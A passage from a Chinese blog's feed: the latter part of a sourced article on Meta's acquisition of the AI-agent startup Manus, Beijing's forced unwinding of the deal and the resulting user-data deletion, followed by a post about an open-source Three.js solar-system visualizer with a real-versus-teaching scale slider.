href="https://www.cnbc.com/2025/12/30/meta-acquires-singapore-ai-agent-firm-manus-china-butterfly-effect-monicai.html">CNBC</a>、<a href="https://euronews.com/next/2025/12/31/meta-to-acquire-ai-startup-manus-in-deal-valued-at-over-2-billion">Euronews</a>）。据报道，Manus 当时本来在以 20 亿美元估值募新一轮，Meta 半路截胡；Meta 吸收其约 100 名员工，计划把 Manus 技术整合进 WhatsApp 和 Meta AI，同时保留独立订阅服务。</p><p>关于<strong>具体价格存在分歧</strong>：多数媒体口径是”超过 20 亿美元”，但也有报道称实际对价接近 30 亿美元（<a href="https://the-decoder.com/meta-pays-3-billion-for-manus-ai-after-startup-cut-all-chinese-ties-to-clear-regulatory-hurdles/">the-decoder</a>）。后续回购报道普遍采用”约 20 亿美元原价”，本文以 20 亿美元为准。</p><p>最关键的一句话来自 Meta 发言人：交易完成后，<strong>“Manus AI 不存在任何持续的中国所有权权益”</strong>，且平台将终止在中国的服务与运营（<a href="https://www.fortune.com/2025/12/30/meta-manus-acquisition-claims-no-chinese-ownership-singapore">Fortune，2025 年 12 月 30 日</a>）。</p><p>从纯商业角度，这是一次教科书级的退出：从 2025 年 4 月的 5 亿美元估值，到 12 月的 20 亿美元交割，8 个月 4 倍；创始团队和早期投资人（含腾讯、红杉中国、真格、Benchmark）全部套现。中文媒体年末盘点的标题写得毫不客气：「<a href="https://finance.sina.cn/2025-12-30/detail-inheqcrt5863018.d.html">Manus 的一年：爆火、出走与”卖身”</a>」。</p><p>值得注意的一个细节是时间点：<strong>中国的元旦假期前夕，公告发出，交易当日交割。</strong> 北京方面在公告后的头几天，一个字都没说。</p><hr><h2 id="十、2026-年-1-月-8-日：北京开口了"><a href="#十、2026-年-1-月-8-日：北京开口了" class="headerlink" title="十、2026 年 1 月 8 日：北京开口了"></a>十、2026 年 1 月 8 日：北京开口了</h2><p>沉默在 2026 年 1 月 8 日结束。中国商务部发表声明，称该交易需符合中国有关<strong>出口管制、技术转让和对外投资</strong>的法律（<a href="https://fortune.com/2026/03/09/singapore-washing-us-china-shein-manus/">Fortune 相关报道</a>、<a href="https://techcrunch.com/2026/04/27/china-vetoes-metas-2b-manus-deal-after-months-long-probe/">TechCrunch</a>）。</p><p>监管方的论证逻辑，恰好是 Benchmark 律师那套说辞的镜像：<strong>Manus 由中国工程师创立，核心技术在中国境内产生，仍存在中国母体关联，因此应受中国司法管辖</strong>——注册地在开曼、总部在新加坡，都不改变这一点。</p><p>接下来三个月，事情迅速失控：</p><p><strong>2026 年 3 月</strong>：监管部门将 CEO <strong>肖弘</strong>和首席科学家<strong>季逸超</strong>召至北京问询，随后<strong>限制两人离境</strong>（<a href="https://thelegalwire.ai/china-restricts-manus-founders-from-leaving-the-country-amid-investigation-into-metas-2bn-acquisition/">The Legal Wire</a>、<a href="https://techweez.com/2026/03/25/meta-manus-ai-acquisition-exit-ban/">Techweez</a>、<a href="https://www.aol.com/finance/china-bar-manus-co-founders-043122766.html">AOL&#x2F;Benzinga 转载</a>）。这是<strong>北京首次以限制高管出境的方式，阻断一桩与美国科技巨头的数十亿美元交易</strong>。两位创始人无法离境，意味着 Meta 与 Manus 的全球团队整合事实上被冻结。</p><p><strong>2026 年 3 月 27 日</strong>，<a href="https://www.cnbc.com/2026/03/27/meta-manus-china-review-singapore-washing-model-regulation-.html">CNBC 的一篇报道</a>记录了当时整个亚洲创投圈的震动。新加坡的一位 AI 行业顾问 Matthias Hendrichs 说得很直白：”<strong>Singapore-washing，也就是只在本地设个法律实体、雇几个本地员工，远远不够。</strong>“ 报道的核心判断是：北京不希望建立在中国技术生态和工程师红利之上的公司，换个门牌就把核心创新带走。</p><p><strong>2026 年 4 月 27 日</strong>，国家发改委正式下令：<strong>撤销该交易，双方须解除已完成的收购</strong>（<a href="https://techcrunch.com/2026/04/27/china-vetoes-metas-2b-manus-deal-after-months-long-probe/">TechCrunch</a>、<a href="https://www.concurrences.com/en/bulletin/news-issues/april-2026/the-chinese-office-of-the-working-mechanism-for-foreign-investment-security">Concurrences 判例摘要</a>）。</p><p>在国际并购法律圈，这一天是有分量的。多家律所的分析口径一致：这是中国 <strong>外商投资安全审查（FISR）机制自 2020 年建立以来，第一次强制拆解一笔已经交割的交易</strong>，也是 AI 领域第一起被公开叫停的收购（<a href="https://www.omm.com/insights/alerts-publications/china-unwinds-meta-s-acquisition-of-manus-implications-for-cross-border-ai-transactions/">O’Melveny 客户提示</a>、<a href="https://www.lexology.com/library/detail.aspx?g=2175a4dd-124d-419d-a93e-d3ea5bd84726">Lexology</a>、<a href="https://www.shumaker.com/insight/china-made-meta-give-back-a-2-billion-artificial-intelligence-acquisition-what-it-means-for-your-next-cross-border-deal/">Shumaker 客户提示</a>）。</p><p>以往各国的安全审查通常在交割前介入。<strong>交割后 4 个月，人已经并进去了、系统已经打通了，再要求全部退回来</strong>——这是一个新的先例，也是给所有做”离岸架构”的中国科技公司的一次公开示范。</p><hr><h2 id="十一、2026-年-6–8-月：把一家公司从另一家公司身上剥下来"><a href="#十一、2026-年-6–8-月：把一家公司从另一家公司身上剥下来" class="headerlink" title="十一、2026 年 6–8 月：把一家公司从另一家公司身上剥下来"></a>十一、2026 年 6–8 月：把一家公司从另一家公司身上剥下来</h2><p>判决之后是执行，而执行远比公告难看。</p><p><strong>2026 年 6 月上旬</strong>，<a href="https://www.bloomberg.com/news/articles/2026-06-11/meta-severs-manus-data-access-after-china-orders-buyout-unwound">Bloomberg</a> 率先披露：Manus 及其员工已被切断对 Meta 内部数据系统的访问，Meta 员工也不能再在内部项目中使用 Manus 工具。一份内部备忘录要求员工把现有 Manus 项目迁回 Meta 自有系统，不要在该平台上启动新工作——用词是 <strong>“sunsetting”（日落&#x2F;下线）</strong>（<a href="https://thenextweb.com/news/meta-manus-data-split-china-unwind-acquisition">The Next Web</a>、<a href="https://www.cnbc.com/2026/06/12/meta-reportedly-begins-dismantling-2-billion-manus-deal-on-beijings-orders.html">CNBC，6 月 12 日</a>、<a href="https://techcrunch.com/2026/06/13/meta-reportedly-moves-to-unwind-2b-manus-deal-after-beijings-demand/">TechCrunch，6 月 13 日</a>）。原本要把 Manus 的 agent 能力灌进 Meta AI 的数据管道被关掉，但据报道，Manus 与 Meta Ads Manager、Instagram 的部分连接仍然保留（<a href="https://www.tomshardware.com/tech-industry/artificial-intelligence/meta-cuts-manus-off-from-its-internal-systems-as-china-ordered-breakup-of-2-billion-ai-deal-begins">Tom’s Hardware</a>）。</p><p><strong>2026 年 7 月上旬</strong>，剧情反转到最戏剧性的地方：<strong>一个由腾讯牵头的财团，以 20 亿美元原价从 Meta 手里把 Manus 买了回来</strong>。参与方包括 Manus 的早期投资人红杉中国（HSG）和真格基金；而在 Meta 交易中已经套现离场的美国投资人 Benchmark，<strong>不在这个财团里</strong>。交易完成后，腾讯将成为 Manus 单一最大股东，但仍为少数股权，Manus 继续在新加坡以独立公司运营（<a href="https://techstartups.com/2026/07/10/tencent-leads-2b-buyback-of-manus-after-china-forces-meta-to-unwind-ai-startup-acquisition/">Tech Startups</a>、<a href="https://www.techtimes.com/articles/320160/20260711/tencent-lead-2b-manus-buyback-beijing-treats-agentic-ai-sovereign-asset.htm">TechTimes</a>、<a href="https://eu.36kr.com/en/p/3866588633469956">36氪国际版</a>、<a href="https://startupfortune.com/tencent-leads-buyback-of-ai-startup-manus-from-meta-at-original-price/">Startup Fortune</a>）。</p><p>绕了一整圈：<strong>腾讯 2024 年投的公司，2025 年套现给 Meta，2026 年又原价买回来，中间还多了一层”国家意志”的背书。</strong></p><p><strong>2026 年 8 月 11 日</strong>，Manus 发布《致用户的一封信》，宣布即将恢复独立运营，并公告数据删除安排（<a href="https://www.cnbc.com/2026/08/11/manus-china-meta-acquisition.html">CNBC</a>、<a href="https://manus.im/blog/a-note-to-our-users">Manus 官方博客</a>、<a href="https://finance.sina.com.cn/stock/usstock/c/2026-08-11/doc-inimyhiz0553942.shtml">新浪财经</a>）。</p><p><strong>8 月中旬</strong>，有报道称北京计划很快解除两位创始人的出境限制，肖弘已告知员工计划返回新加坡；回购以约 20 亿美元估值进行，仍待监管最终批准（<a href="https://sputniknews.cn/20260813/1072763041.html">俄罗斯卫星通讯社中文版</a>、<a href="https://www.bannedbook.org/bnews/itnews/20260815/2349260.html">转载汇总</a>）。<strong>这一条目前仍属报道，未见官方确认，请以后续公告为准。</strong></p><p>然后，就有了你收件箱里的那封信。</p><hr><h2 id="十二、从安全与合规视角，这封邮件真正说了什么"><a href="#十二、从安全与合规视角，这封邮件真正说了什么" class="headerlink" title="十二、从安全与合规视角，这封邮件真正说了什么"></a>十二、从安全与合规视角，这封邮件真正说了什么</h2><p>跳出商业叙事，这件事对做安全&#x2F;合规的人有几层直接的启示。</p><p><strong>第一，”数据的国籍”第一次被执行到了记录级。</strong> 监管命令要求撤销交易，而 Manus 的执行方式是按交割日切分数据集，删除 2025-12-29 之后产生的部分。这意味着监管方（或其法律顾问）认可的合规颗粒度，已经细到”哪些数据是在哪个所有权结构下生成的”。对任何做跨境 SaaS 的公司来说，这是一个新的架构要求：<strong>数据分区必须能按股权变更时间点切开</strong>，而不只是按地域切开。</p><p><strong>第二，”不可撤销”的技术整合，正在变成一种法律风险。</strong> Meta 在 4 个月里把 Manus 接进了内部系统、Ads Manager、Instagram，然后必须在 2 个月内拆掉。任何一次并购后的深度技术整合，现在都得考虑”如果被要求逆转，我能不能干净地退回去”。这在尽调清单里过去几乎不存在。</p><p><strong>第三，法律实体和技术主权是两码事。</strong> Benchmark 的律师用”开曼注册 + 只是套壳”通过了美国审查，但北京的认定标准是<strong>技术来源地和人</strong>。公司可以搬，代码可以搬，<strong>人搬不走</strong>——限制出境这一手，直接说明了在这套逻辑里，什么才是真正被视为受管制的资产。有分析文章的标题概括得很到位：「<a href="https://www.insightnews.com/news/china-let-meta-buy-manus-it-kept-the-people-who-built-it/article_7d22fa7f-75f5-4196-83a7-4345243be279.html">中国让 Meta 买走了 Manus，但留下了造它的人</a>」。</p><p><strong>第四，对普通用户而言，这是一次”合规导致的可用性事故”。</strong> 没有攻击、没有漏洞、没有泄露，但你的数据照样会在指定时间点被销毁，且不可恢复。Manus 自己也强调这不是安全事件。可用性和完整性的威胁来源，不止是攻击者。</p><hr><h2 id="十三、哪些是实锤，哪些还是传闻"><a href="#十三、哪些是实锤，哪些还是传闻" class="headerlink" title="十三、哪些是实锤，哪些还是传闻"></a>十三、哪些是实锤，哪些还是传闻</h2><p>写这类文章最容易翻车的地方，是把爆料当事实。把话说清楚：</p><p><strong>有可靠来源、可视为事实的：</strong> Manus 2025 年 3 月发布；2025 年 4 月 Benchmark 领投 7500 万美元、估值 5 亿美元；2025 年 5 月美国财政部就该投资进行问询；2025 年 6–7 月总部迁往新加坡并裁撤中国团队；2025 年 12 月 29 日 Meta 完成收购；2026 年 1 月 8 日中国商务部表态；2026 年 3 月创始人被限制出境（多家媒体报道，无官方公告）；2026 年 4 月 27 日发改委下令撤销交易；2026 年 6 月 Meta 开始切割；2026 年 7 月腾讯牵头财团回购；2026 年 8 月 11 日 Manus 官方公告独立与数据删除。</p><p><strong>属于报道&#x2F;未完全证实的：</strong></p><ul><li>收购总价究竟是”超过 20 亿”还是接近 30 亿美元，各家口径不一。</li><li>裁员的具体人数（约 120 人、40 余人转岗）来自中文媒体爆料与员工爆料，未见公司正式披露。</li><li>邀请码”炒到 10 万元”是平台挂单价，不等于实际成交价；官方明确否认存在付费渠道。《华尔街日报》的口径（超过 1000 美元）保守得多。</li><li>创始人限制出境的解除、腾讯财团回购的最终监管批准，截至本文写作时仍在进行中。</li><li>3 月的”越狱”内容出自单一用户的公开演示，公司未逐条确认技术细节，仅由季逸超作了原则性回应。</li></ul><p><strong>纯属圈内小道、只能当谈资的：</strong> 关于 Manus 团队在被收购前是否早已内部知情、关于哪些高管在新加坡拿到了什么条件、关于阿里合作后来事实上无疾而终的原因——这些在中文创投圈流传甚广，但我没有找到可引用的来源，因此不写进正文。附带一句：季逸超在被收购公告当天放出了与播客《张小珺｜商业访谈录》的长访谈（<a href="https://podcasts.apple.com/cn/podcast/128-manus%E5%86%B3%E5%AE%9A%E5%87%BA%E5%94%AE%E5%89%8D%E6%9C%80%E5%90%8E%E7%9A%84%E8%AE%BF%E8%B0%88-%E5%95%8A-%E8%BF%99%E5%A5%87%E5%B9%BB%E7%9A%842025%E5%B9%B4%E6%BC%82%E6%B5%81%E5%95%8A/id1634356920?i=1000743131736">节目页</a>），标题就叫”Manus 决定出售前最后的访谈”，是目前信息密度最高的一手材料。</p><hr><h2 id="十四、时间线"><a href="#十四、时间线" class="headerlink" title="十四、时间线"></a>十四、时间线</h2><table><thead><tr><th>时间</th><th>事件</th></tr></thead><tbody><tr><td>2015</td><td>肖弘华科毕业，在武汉创业，做壹伴助手&#x2F;微伴助手</td></tr><tr><td>2022</td><td>创立蝴蝶效应（Butterfly Effect），推出 Monica</td></tr><tr><td>2023</td><td>Monica 收购 “ChatGPT for Google”，海外用户破 700 万</td></tr><tr><td>2024-11</td><td>A 轮，腾讯、红杉中国领投，真格、王慧文跟投</td></tr><tr><td>2025-03-06</td><td>Manus 发布，20 小时播放破百万，350 万人申请内测</td></tr><tr><td>2025-03-07</td><td>邀请码被炒至 5–10 万元，官方否认付费渠道</td></tr><tr><td>2025-03-10</td><td>用户 jian 越狱沙盒，曝出基于 Claude Sonnet + 29 工具</td></tr><tr><td>2025-03-11</td><td>宣布与阿里通义千问战略合作</td></tr><tr><td>2025-03-中</td><td>MetaGPT 团队 3 小时做出 OpenManus</td></tr><tr><td>2025-03-31</td><td>推出 39 &#x2F; 199 美元订阅</td></tr><tr><td>2025-04-25</td><td>Benchmark 领投 7500 万美元，估值 5 亿美元</td></tr><tr><td>2025-05-09</td><td>美国财政部审查 Benchmark 该笔投资（OISP &#x2F; 反向 CFIUS）</td></tr><tr><td>2025-06</td><td>宣布总部迁至新加坡，主体变更为 Butterfly Effect Pte.</td></tr><tr><td>2025-07</td><td>中国团队大规模裁员，社交账号清空，国内不可访问</td></tr><tr><td>2025-07</td><td>推出 Wide Research（最多 100 个并发子智能体）</td></tr><tr><td>2025-10-16</td><td>Manus 1.5 发布，速度提升 4 倍</td></tr><tr><td>2025-12-17</td><td>Bloomberg：收入 run-rate 超 1.25 亿美元，ARR 8 个月破 1 亿</td></tr><tr><td>2025-12-29</td><td>Meta 以超 20 亿美元完成收购，称”无持续中国所有权”</td></tr><tr><td>2026-01-08</td><td>中国商务部声明：交易须符合出口管制与对外投资法律</td></tr><tr><td>2026-03</td><td>肖弘、季逸超被约谈并限制出境，整合停摆</td></tr><tr><td>2026-04-27</td><td>发改委下令撤销交易，FISR 机制首次强拆已交割并购</td></tr><tr><td>2026-06-11</td><td>Meta 切断 Manus 系统访问，内部要求 “sunsetting”</td></tr><tr><td>2026-07-10</td><td>腾讯牵头财团以 20 亿美元原价回购，Benchmark 不参与</td></tr><tr><td>2026-08-11</td><td>Manus 宣布恢复独立运营，公告数据删除安排</td></tr><tr><td>2026-08-23~24</td><td>删除 2025-12-29 之后产生的受影响数据</td></tr><tr><td>2026-08-25</td><td>服务恢复，Manus 以独立公司身份重新开始</td></tr></tbody></table><hr><h2 id="十五、结尾：这只蝴蝶扇出了什么"><a href="#十五、结尾：这只蝴蝶扇出了什么" class="headerlink" title="十五、结尾：这只蝴蝶扇出了什么"></a>十五、结尾：这只蝴蝶扇出了什么</h2><p>Manus 这家公司的名字取自”蝴蝶效应”，这在 2026 年回头看有点过于应景。</p><p>它是第一家在 AI Agent 这个品类上做出全球规模收入的中国团队公司；也是第一家因为”中国血统”同时被华盛顿和北京审查的公司；还是第一家被中国监管强制从美国科技巨头手里”拆回来”的公司。它证明了套壳可以赚到 1.25 亿美元的年化收入，也证明了法律注册地救不了你。</p><p>有意思的是最后的结果：<strong>公司还在新加坡，业务还在全球，创始团队还是那两个 1992 年出生的人，但最大股东变回了腾讯。</strong> 兜了一整圈，Manus 回到了 2024 年 11 月 A 轮之后的股东结构——只是这一次，全世界都知道它究竟属于谁了。</p><p>而对于收到那封邮件的用户来说，这一切的具体表现就是：你在 2026 年 8 月 23 日之前得把东西导出来，否则它就没了。地缘政治最终落到个人身上的形态，往往就是一个倒计时和一个”Back up data”按钮。</p><hr><h2 id="参考来源"><a href="#参考来源" class="headerlink" title="参考来源"></a>参考来源</h2><p><strong>官方&#x2F;一手</strong></p><ul><li><a href="https://manus.im/blog/a-note-to-our-users">Manus, A Note to Our Users</a></li><li><a href="https://help.manus.im/en/articles/16147831-service-change-overview-what-s-happening-and-am-i-affected">Manus Help Center: Service Change Overview</a></li><li><a href="https://manus.im/blog/manus-100m-arr">Manus Update: $100M ARR, $125M revenue run-rate</a></li><li><a href="https://podcasts.apple.com/cn/podcast/128-manus%E5%86%B3%E5%AE%9A%E5%87%BA%E5%94%AE%E5%89%8D%E6%9C%80%E5%90%8E%E7%9A%84%E8%AE%BF%E8%B0%88-%E5%95%8A-%E8%BF%99%E5%A5%87%E5%B9%BB%E7%9A%842025%E5%B9%B4%E6%BC%82%E6%B5%81%E5%95%8A/id1634356920?i=1000743131736">张小珺｜商业访谈录 128：Manus 决定出售前最后的访谈</a></li></ul><p><strong>并购与监管</strong></p><ul><li><a href="https://www.cnbc.com/2025/12/30/meta-acquires-singapore-ai-agent-firm-manus-china-butterfly-effect-monicai.html">CNBC: Meta acquires intelligent agent firm Manus (2025-12-30)</a></li><li><a href="https://techcrunch.com/2025/12/29/meta-just-bought-manus-an-ai-startup-everyone-has-been-talking-about">TechCrunch: Meta just bought Manus (2025-12-29)</a></li><li><a href="https://www.fortune.com/2025/12/30/meta-manus-acquisition-claims-no-chinese-ownership-singapore">Fortune: Meta claims no Chinese ownership (2025-12-30)</a></li><li><a href="https://techcrunch.com/2026/04/27/china-vetoes-metas-2b-manus-deal-after-months-long-probe/">TechCrunch: China blocks Meta’s $2B Manus deal (2026-04-27)</a></li><li><a href="https://www.omm.com/insights/alerts-publications/china-unwinds-meta-s-acquisition-of-manus-implications-for-cross-border-ai-transactions/">O’Melveny: China Unwinds Meta’s Acquisition of Manus</a></li><li><a href="https://www.lexology.com/library/detail.aspx?g=2175a4dd-124d-419d-a93e-d3ea5bd84726">Lexology: China Orders Unwinding of Meta-Manus Deal</a></li><li><a href="https://www.concurrences.com/en/bulletin/news-issues/april-2026/the-chinese-office-of-the-working-mechanism-for-foreign-investment-security">Concurrences: FISR prohibits BigTech acquisition (Meta&#x2F;Manus)</a></li><li><a href="https://www.bloomberg.com/news/articles/2026-06-11/meta-severs-manus-data-access-after-china-orders-buyout-unwound">Bloomberg: Meta Severs Manus Data Access (2026-06-11)</a></li><li><a href="https://www.cnbc.com/2026/08/11/manus-china-meta-acquisition.html">CNBC: Manus to return as independent company (2026-08-11)</a></li><li><a href="https://techstartups.com/2026/07/10/tencent-leads-2b-buyback-of-manus-after-china-forces-meta-to-unwind-ai-startup-acquisition/">Tech Startups: Tencent leads $2B buyback (2026-07-10)</a></li></ul><p><strong>融资与美国审查</strong></p><ul><li><a href="https://techcrunch.com/2025/04/25/chinese-ai-startup-manus-reportedly-gets-funding-from-benchmark-at-500m-valuation/">TechCrunch: Benchmark at $500M valuation (2025-04-25)</a></li><li><a href="https://www.semafor.com/article/05/09/2025/us-treasury-examining-benchmark-capitals-ties-to-chinese-startup-manus-ai">Semafor: US Treasury examining Benchmark’s ties (2025-05-09)</a></li><li><a href="https://www.proskauer.com/blog/treasurys-latest-moves-fast-track-for-foreign-investors-and-outbound-ai-investment-inquiry">Proskauer: Treasury’s Outbound AI Investment Inquiry</a></li></ul><p><strong>出境限制与 Singapore-washing</strong></p><ul><li><a href="https://www.cnbc.com/2026/03/27/meta-manus-china-review-singapore-washing-model-regulation-.html">CNBC: Beijing’s surprise intervention rattles founders, VCs (2026-03-27)</a></li><li><a href="https://thelegalwire.ai/china-restricts-manus-founders-from-leaving-the-country-amid-investigation-into-metas-2bn-acquisition/">The Legal Wire: China restricts Manus founders from leaving</a></li><li><a href="https://fortune.com/2026/03/09/singapore-washing-us-china-shein-manus/">Fortune: The ‘Singapore-washing’ strategy starts to unwind</a></li><li><a href="https://www.semafor.com/article/05/04/2026/singapore-washing-isnt-over-manus-may-have-just-done-it-wrong">Semafor: Singapore-washing isn’t over. Manus may have done it wrong</a></li><li><a href="https://restofworld.org/2026/meta-manus-singapore/">Rest of World: Will the Meta-Manus deal push more Chinese AI startups to Singapore?</a></li></ul><p><strong>中文媒体与早期报道</strong></p><ul><li><a href="https://finance.sina.com.cn/roll/2025-03-09/doc-inenzieq7906272.shtml">新浪财经：Manus 创始人肖弘：从小镇少年到 AI 黑马</a></li><li><a href="https://finance.sina.com.cn/tech/roll/2025-03-07/doc-inenvmwk9821012.shtml">新浪科技：邀请码炒到 10 万！Manus 真”颠覆”还是真”炒作”？</a></li><li><a href="https://www.21jingji.com/article/20250314/herald/8a720bebb4a366cd3c5ba1607d921b61.html">21 世纪经济报道：Manus 底层解码：”套壳”下的创新”越狱”</a></li><li><a href="https://cloud.tencent.com/developer/article/2503845">腾讯云开发者社区：Manus 被破解了？曝出系统提示词和背后大模型</a></li><li><a href="https://www.thepaper.cn/newsDetail_forward_30331141">澎湃新闻：5 个人三小时复刻开源版 Manus</a></li><li><a href="https://finance.sina.com.cn/tech/roll/2025-03-11/doc-inephsqm2596938.shtml">新浪财经：Manus 与阿里通义千问达成战略合作</a></li><li><a href="https://news.qq.com/rain/a/20250708A06ULO00">腾讯新闻：Manus 大规模裁员，总部迁至新加坡</a></li><li><a href="https://m.thepaper.cn/newsDetail_forward_31167906">澎湃新闻：Manus 彻底撤出中国</a></li><li><a href="https://36kr.com/p/3200393697427076">36氪：Manus 或面临备案监管问题</a></li><li><a href="https://m.thepaper.cn/newsDetail_forward_30320407">澎湃：Manus 背后的华人团队：套壳到极致，就是胜利</a></li><li><a href="https://www.cyzone.cn/article/792156.html">创业邦：十二年前的季逸超报道</a></li><li><a href="https://finance.sina.cn/2025-12-30/detail-inheqcrt5863018.d.html">新浪科技：2025 AI 启示录｜Manus 的一年：爆火、出走与”卖身”</a></li><li><a href="https://www.yicai.com/news/103314207.html">第一财经：Manus 即将恢复以独立公司的形式运营</a></li></ul><p><strong>综合资料</strong></p><ul><li><a href="https://en.wikipedia.org/wiki/Manus_(AI_agent)">Wikipedia: Manus (AI agent)</a></li><li><a href="https://sacra.com/c/manus/">Sacra: Manus revenue, funding &amp; news</a></li><li><a href="https://www.scmp.com/tech/tech-trends/article/3336925/manus-hits-us100-million-revenue-milestone-global-competition-ai-agents-heats">SCMP: Manus hits US$100 million revenue milestone</a></li></ul>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/08/16/manus-four-years/</id>
    <link href="https://zhangwenqiang.com/2026/08/16/manus-four-years/"/>
    <published>2026-08-16T02:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>起因是一封邮件。2026 年 8 月中旬，Manus 给用户群发了一封标题为 “ACTION REQUIRED: 7 days left to back up … for future restoration” 的信，通知在 2025 年 12 月 29 日之后产生的部分数据将在 8 月 23 日 08:00（新加坡时间）起被删除，服务将于 8 月 25 日 08:00 恢复——“Manus 将很快恢复以独立公司的形式运营”。</p>
<p>一家公司要”恢复独立”，意味着它此前不独立；一家公司要删掉自己用户从某个特定日期起产生的所有数据，那个日期通常是某笔交易的交割日。这封邮件里的每一个措辞都是被律师改过的，而它省略掉的部分，是过去 18 个月里中美科技监管史上最离奇的一桩案子。</p>
<p>本文所有事实均标注来源。传闻与未经证实的部分单独列出，不与实锤混写。</p>
</blockquote>]]>
    </summary>
    <title>一封删库通知背后的四年：Manus 的暴富、出走、卖身与被夺回</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="自己写的小东西" scheme="https://zhangwenqiang.com/tags/%E8%87%AA%E5%B7%B1%E5%86%99%E7%9A%84%E5%B0%8F%E4%B8%9C%E8%A5%BF/"/>
    <category term="Three.js" scheme="https://zhangwenqiang.com/tags/Three-js/"/>
    <category term="可视化" scheme="https://zhangwenqiang.com/tags/%E5%8F%AF%E8%A7%86%E5%8C%96/"/>
    <content>
      <![CDATA[<p>太阳系的图，教科书上都是假的。</p><p>不是说画错了，是<strong>必须假</strong>——真按比例画，海王星要画到教室外面去，而地球会小成一个看不见的点。为了让一页纸放得下，只能把距离压扁、把行星放大。</p><p>代价是，很多人长大后对太阳系的印象，是一排大小差不多的球整齐地绕着圈。</p><p>我想做个能<strong>在两种比例之间平滑切换</strong>的东西。</p><blockquote><p>🪐 <strong><a href="https://solar.zhangwenqiang.com/">点这里直接打开 → solar.zhangwenqiang.com</a></strong><br>代码也开源了：<a href="https://github.com/zhangwenqiang0214/solar-system-3d">github.com&#x2F;zhangwenqiang0214&#x2F;solar-system-3d</a></p></blockquote><span id="more"></span><h2 id="它是什么"><a href="#它是什么" class="headerlink" title="它是什么"></a>它是什么</h2><p>一个 HTML 文件。双击打开，不用装任何东西，断网也能跑。</p><p>里面是一个可以自由旋转、缩放的三维太阳系，35 个以上的天体——八大行星、矮行星、主要卫星，每一个都能点开看中文介绍。</p><h2 id="两种比例，可以滑动"><a href="#两种比例，可以滑动" class="headerlink" title="两种比例，可以滑动"></a>两种比例，可以滑动</h2><p>这是我最想做的功能。</p><ul><li><strong>教学模式</strong>：行星放大，轨道压缩，所有东西都看得见，像教科书那样</li><li><strong>真实模式</strong>：严格按真实比例，然后你会发现——<strong>什么都看不见了</strong></li></ul><p>中间是一根滑杆。拖动它，两种模式之间连续插值。</p><p>拖的过程比任何一端都有说服力。你会亲眼看着行星缩小、轨道拉长，直到整个内太阳系挤成中心一小团光，而海王星跑到视野之外。那一刻「空旷」这个词才有了具体的量感。</p><h2 id="行星的位置是真的"><a href="#行星的位置是真的" class="headerlink" title="行星的位置是真的"></a>行星的位置是真的</h2><p>这是另一件我坚持要做的事：<strong>不要随便摆</strong>。</p><p>页面上每颗行星的位置，是按 JPL 的开普勒轨道根数、根据你打开页面的日期实时算出来的。</p><p>也就是说，<strong>你现在看到的，就是此刻天上真实的排布</strong>。想看你生日那天的行星位置，改个日期就行。</p><p>算法本身不复杂——六个轨道根数（半长轴、离心率、倾角等等）加上时间，解一个开普勒方程，得到轨道上的位置。麻烦的是把各个天体的参考系对齐，以及处理那些轨道特别扁的矮行星。</p><h2 id="贴图"><a href="#贴图" class="headerlink" title="贴图"></a>贴图</h2><p>八大行星和主要卫星用的是 <a href="https://www.solarsystemscope.com/textures/">solarsystemscope.com</a> 的贴图，CC BY 4.0 协议，可以放心用。</p><p>矮行星和小卫星没有现成贴图——它们大多只有几张模糊的探测器照片。这部分是<strong>用 canvas 程序化生成</strong>的：按天体的已知特征（颜色倾向、反照率、大致地貌类型）生成噪声纹理。不追求写实，只求别让它们看起来像一个个塑料球。</p><h2 id="技术"><a href="#技术" class="headerlink" title="技术"></a>技术</h2><ul><li><strong>Three.js 0.170</strong> + UnrealBloom 后处理（太阳的光晕靠它）</li><li>轨道计算是自己写的，JPL 开普勒根数</li><li>构建用 esbuild，贴图走 dataurl loader 全部内联</li></ul><p>最后 <code>node build.mjs</code> 打出一个 <strong>11.2MB 的单文件 HTML</strong>，所有贴图以 base64 嵌在里面。</p><p>11MB 对网页来说不小，但它换来的是：<strong>拷给任何人，双击就能用</strong>。不用起服务器，不用连网，不用解释”你先装个 Node”。给小孩看、给长辈看、拷到没网的电脑上看，都行。</p><h3 id="后来加了个网页版"><a href="#后来加了个网页版" class="headerlink" title="后来加了个网页版"></a>后来加了个网页版</h3><p>为了能挂到网上，又加了一种构建模式：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">node build.mjs --web</span><br></pre></td></tr></table></figure><p>贴图不再内嵌，而是作为独立文件按需加载。<strong>HTML 从 11MB 降到 3.2KB</strong>，打开就见画面，贴图在后面慢慢补上。</p><p>两种产物各有各的用处——单文件版适合拷给人，网页版适合挂网站。构建脚本里用一个 <code>--web</code> 参数切换 esbuild 的 loader（<code>dataurl</code> 换成 <code>file</code>），二十行代码的事。</p><h2 id="开源了"><a href="#开源了" class="headerlink" title="开源了"></a>开源了</h2><p>代码在 <strong><a href="https://github.com/zhangwenqiang0214/solar-system-3d">github.com&#x2F;zhangwenqiang0214&#x2F;solar-system-3d</a></strong>，MIT 协议。</p><p>在线版：<strong><a href="https://solar.zhangwenqiang.com/">solar.zhangwenqiang.com</a></strong></p><p>贴图来自 Solar System Scope，CC BY 4.0，用的时候记得保留署名。</p><h2 id="为什么做这个"><a href="#为什么做这个" class="headerlink" title="为什么做这个"></a>为什么做这个</h2><p>起因是想给小孩讲太阳系，翻了一圈现成的工具，要么是专业天文软件（打开就劝退），要么是精美但假的动画（好看，但强化了错误印象）。</p><p>我想要的东西很简单：<strong>既是真的，又看得懂</strong>。这两件事在太阳系这个尺度上天然打架，所以才需要那根滑杆——让人自己在两者之间走一趟。</p><p>走过一趟之后，「太阳系很空」就不再是一句需要被告知的知识了。</p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/07/20/solar-system-3d/</id>
    <link href="https://zhangwenqiang.com/2026/07/20/solar-system-3d/"/>
    <published>2026-07-20T07:00:00.000Z</published>
    <summary>
      <![CDATA[<p>太阳系的图，教科书上都是假的。</p>
<p>不是说画错了，是<strong>必须假</strong>——真按比例画，海王星要画到教室外面去，而地球会小成一个看不见的点。为了让一页纸放得下，只能把距离压扁、把行星放大。</p>
<p>代价是，很多人长大后对太阳系的印象，是一排大小差不多的球整齐地绕着圈。</p>
